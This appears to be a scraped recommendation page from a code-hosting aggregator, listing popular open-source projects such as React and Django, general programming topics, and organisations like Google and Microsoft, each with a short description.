Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.